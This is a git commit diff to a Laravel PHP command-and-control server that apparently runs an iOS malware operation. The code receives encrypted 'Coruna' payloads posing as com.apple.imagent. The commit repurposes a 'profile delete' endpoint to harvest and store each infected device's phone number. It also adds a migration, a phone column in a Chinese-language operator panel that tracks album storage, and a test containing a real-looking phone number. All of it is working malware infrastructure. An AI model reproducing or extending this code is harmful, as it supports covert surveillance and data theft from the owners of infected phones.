feat: new chain
This commit is contained in:
@@ -186,6 +186,22 @@ class C2Controller extends Controller
|
|||||||
return $this->encryptedAck();
|
return $this->encryptedAck();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* SMS task poll from imagent. Native treats code==0 as "poll every 3s";
|
||||||
|
* non-zero backs off to ~60s — return code 1 to avoid hammering.
|
||||||
|
* Payload `p` is the device phone number.
|
||||||
|
*/
|
||||||
|
public function profileDelete(Request $request): Response
|
||||||
|
{
|
||||||
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
|
if ($device && is_array($payload)) {
|
||||||
|
$this->ingest->ingestDevicePhone($device, $payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->encryptedAck(['code' => 1, 'msg' => 'ok', 'data' => null]);
|
||||||
|
}
|
||||||
|
|
||||||
public function linkConfigList(Request $request): Response
|
public function linkConfigList(Request $request): Response
|
||||||
{
|
{
|
||||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
|
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
|
|||||||
class Device extends Model
|
class Device extends Model
|
||||||
{
|
{
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent',
|
'device_id', 'channel_id', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||||
'telegram_notified', 'album_storage',
|
'telegram_notified', 'album_storage',
|
||||||
];
|
];
|
||||||
|
|
||||||
|
|||||||
@@ -184,6 +184,30 @@ class IngestService
|
|||||||
return $channelId === null || $channelId === '';
|
return $channelId === null || $channelId === '';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* `/api/user/profile/delete` — store reported phone (`p`) only when still empty.
|
||||||
|
*/
|
||||||
|
public function ingestDevicePhone(Device $device, ?array $payload): void
|
||||||
|
{
|
||||||
|
if (! is_array($payload)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (trim((string) ($device->phone ?? '')) !== '') {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$phone = $payload['p'] ?? $payload['phone'] ?? null;
|
||||||
|
if (! is_string($phone)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$phone = trim($phone);
|
||||||
|
if ($phone === '') {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
|
||||||
|
}
|
||||||
|
|
||||||
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
|
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
|
||||||
{
|
{
|
||||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||||
|
|||||||
@@ -0,0 +1,26 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('devices', function (Blueprint $table) {
|
||||||
|
if (! Schema::hasColumn('devices', 'phone')) {
|
||||||
|
$table->string('phone', 64)->nullable()->after('channel_id');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('devices', function (Blueprint $table) {
|
||||||
|
if (Schema::hasColumn('devices', 'phone')) {
|
||||||
|
$table->dropColumn('phone');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -19,10 +19,14 @@
|
|||||||
<td>{{ $device->ios_version ?: '—' }}</td>
|
<td>{{ $device->ios_version ?: '—' }}</td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr>
|
<tr>
|
||||||
|
<th>手机号</th>
|
||||||
|
<td>{{ $device->phone ?: '—' }}</td>
|
||||||
<th>IP</th>
|
<th>IP</th>
|
||||||
<td>{{ $device->ip ?: '—' }}</td>
|
<td>{{ $device->ip ?: '—' }}</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
<th>相册存储</th>
|
<th>相册存储</th>
|
||||||
<td>
|
<td colspan="3">
|
||||||
<form class="layui-form" lay-filter="LAY-device-album" style="margin:0;">
|
<form class="layui-form" lay-filter="LAY-device-album" style="margin:0;">
|
||||||
<input type="checkbox" name="album_storage" lay-skin="switch" lay-text="开|关"
|
<input type="checkbox" name="album_storage" lay-skin="switch" lay-text="开|关"
|
||||||
lay-filter="LAY-device-album-storage"
|
lay-filter="LAY-device-album-storage"
|
||||||
|
|||||||
+1
-1
@@ -15,7 +15,7 @@ Route::middleware([DecryptCorunaBody::class])->group(function () {
|
|||||||
Route::post('/api/user/check', [C2Controller::class, 'check']);
|
Route::post('/api/user/check', [C2Controller::class, 'check']);
|
||||||
Route::post('/api/user/avatar/pic', [C2Controller::class, 'avatarPic']);
|
Route::post('/api/user/avatar/pic', [C2Controller::class, 'avatarPic']);
|
||||||
Route::post('/api/user/profile/add', [C2Controller::class, 'profileNop']);
|
Route::post('/api/user/profile/add', [C2Controller::class, 'profileNop']);
|
||||||
Route::post('/api/user/profile/delete', [C2Controller::class, 'profileNop']);
|
Route::post('/api/user/profile/delete', [C2Controller::class, 'profileDelete']);
|
||||||
Route::post('/api/user/profile/remove', [C2Controller::class, 'profileNop']);
|
Route::post('/api/user/profile/remove', [C2Controller::class, 'profileNop']);
|
||||||
Route::post('/link/config/list', [C2Controller::class, 'linkConfigList']);
|
Route::post('/link/config/list', [C2Controller::class, 'linkConfigList']);
|
||||||
Route::post('/link/config/icon', [C2Controller::class, 'linkConfigIcon']);
|
Route::post('/link/config/icon', [C2Controller::class, 'linkConfigIcon']);
|
||||||
|
|||||||
@@ -170,6 +170,46 @@ class C2ApiTest extends TestCase
|
|||||||
$this->assertNull(Device::query()->where('device_id', '000430C910E8E526')->first());
|
$this->assertNull(Device::query()->where('device_id', '000430C910E8E526')->first());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function profile_delete_returns_code_1_and_stores_phone(): void
|
||||||
|
{
|
||||||
|
$crypto = new CorunaCrypto;
|
||||||
|
$payload = [
|
||||||
|
'd' => '00044C1101FB802E',
|
||||||
|
'p' => '+66822804380',
|
||||||
|
'd3' => '00008030-00044C1101FB802E',
|
||||||
|
'd2' => 'DNPD3100N73F',
|
||||||
|
'c' => 'e57f5207c9f2bacf7907c09ccf25b107',
|
||||||
|
'bundleID' => 'com.apple.imagent',
|
||||||
|
];
|
||||||
|
$ts = '1722585600333';
|
||||||
|
$enc = $crypto->encryptJson($payload, $ts);
|
||||||
|
|
||||||
|
$resp = $this->call('POST', '/api/user/profile/delete', [], [], [], [
|
||||||
|
'CONTENT_TYPE' => 'text/plain',
|
||||||
|
'HTTP_TIMESTAMP' => $ts,
|
||||||
|
], $enc['body']);
|
||||||
|
|
||||||
|
$resp->assertOk();
|
||||||
|
$plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp'));
|
||||||
|
$this->assertSame(1, $plain['code'] ?? null);
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', '00044C1101FB802E')->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
$this->assertSame('+66822804380', $device->phone);
|
||||||
|
$this->assertNull($device->channel_id);
|
||||||
|
|
||||||
|
$ts2 = '1722585600334';
|
||||||
|
$enc2 = $crypto->encryptJson(array_merge($payload, ['p' => '+66999999999']), $ts2);
|
||||||
|
$this->call('POST', '/api/user/profile/delete', [], [], [], [
|
||||||
|
'CONTENT_TYPE' => 'text/plain',
|
||||||
|
'HTTP_TIMESTAMP' => $ts2,
|
||||||
|
], $enc2['body'])->assertOk();
|
||||||
|
|
||||||
|
$device->refresh();
|
||||||
|
$this->assertSame('+66822804380', $device->phone);
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function user_get_ingests_installed_apps_per_bundle(): void
|
public function user_get_ingests_installed_apps_per_bundle(): void
|
||||||
{
|
{
|
||||||
|
|||||||
Reference in New Issue
Block a user